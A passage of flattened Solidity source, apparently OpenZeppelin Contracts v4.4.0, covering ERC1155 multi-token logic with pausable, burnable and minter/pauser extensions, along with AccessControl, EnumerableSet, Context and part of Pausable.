_setupRole(MINTER_ROLE, _msgSender());
_setupRole(PAUSER_ROLE, _msgSender());
}
/**
* @dev Creates `amount` new tokens for `to`, of token type `id`.
*
* See {ERC1155-_mint}.
*
* Requirements:
*
* - the caller must have the `MINTER_ROLE`.
*/
function mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual {
require(hasRole(MINTER_ROLE, _msgSender()), "ERC1155PresetMinterPauser: must have minter role to mint");
_mint(to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] variant of {mint}.
*/
function mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual {
require(hasRole(MINTER_ROLE, _msgSender()), "ERC1155PresetMinterPauser: must have minter role to mint");
_mintBatch(to, ids, amounts, data);
}
/**
* @dev Pauses all token transfers.
*
* See {ERC1155Pausable} and {Pausable-_pause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function pause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC1155PresetMinterPauser: must have pauser role to pause");
_pause();
}
/**
* @dev Unpauses all token transfers.
*
* See {ERC1155Pausable} and {Pausable-_unpause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function unpause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC1155PresetMinterPauser: must have pauser role to unpause");
_unpause();
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(AccessControlEnumerable, ERC1155)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual override(ERC1155, ERC1155Pausable) {
super._beforeTokenTransfer(operator, from, to, ids, amounts, data);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC1155/extensions/ERC1155Pausable.sol)
pragma solidity ^0.8.0;
import "../ERC1155.sol";
import "../../../security/Pausable.sol";
/**
* @dev ERC1155 token with pausable token transfers, minting and burning.
*
* Useful for scenarios such as preventing trades until the end of an evaluation
* period, or having an emergency switch for freezing all token transfers in the
* event of a large bug.
*
* _Available since v3.1._
*/
abstract contract ERC1155Pausable is ERC1155, Pausable {
/**
* @dev See {ERC1155-_beforeTokenTransfer}.
*
* Requirements:
*
* - the contract must not be paused.
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual override {
super._beforeTokenTransfer(operator, from, to, ids, amounts, data);
require(!paused(), "ERC1155Pausable: token transfer while paused");
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC1155/extensions/ERC1155Burnable.sol)
pragma solidity ^0.8.0;
import "../ERC1155.sol";
/**
* @dev Extension of {ERC1155} that allows token holders to destroy both their
* own tokens and those that they have been approved to use.
*
* _Available since v3.1._
*/
abstract contract ERC1155Burnable is ERC1155 {
function burn(
address account,
uint256 id,
uint256 value
) public virtual {
require(
account == _msgSender() || isApprovedForAll(account, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_burn(account, id, value);
}
function burnBatch(
address account,
uint256[] memory ids,
uint256[] memory values
) public virtual {
require(
account == _msgSender() || isApprovedForAll(account, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_burnBatch(account, ids, values);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC1155/ERC1155.sol)
pragma solidity ^0.8.0;
import "./IERC1155.sol";
import "./IERC1155Receiver.sol";
import "./extensions/IERC1155MetadataURI.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using Address for address;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/**
* @dev See {_setURI}.
*/
constructor(string memory uri_) {
_setURI(uri_);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) public view virtual override returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_safeTransferFrom(from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][to] += amount;
emit TransferSingle(operator, address(0), to, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `from`
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `from` must have at least `amount` tokens of token type `id`.
*/
function _burn(
address from,
uint256 id,
uint256 amount
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
emit TransferSingle(operator, from, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
}
emit TransferBatch(operator, from, address(0), ids, amounts);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC1155: setting approval status for self");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver.onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver.onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/structs/EnumerableSet.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (access/AccessControl.sol)
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been revoked `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*
* NOTE: This function is deprecated in favor of {_grantRole}.
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
/**
* @dev Grants `role` to `account`.
*
* Internal function without access restriction.
*/
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
/**
* @dev Revokes `role` from `account`.
*
* Internal function without access restriction.
*/
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (access/IAccessControlEnumerable.sol)
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
/**
* @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
*/
interface IAccessControlEnumerable is IAccessControl {
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (security/Pausable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
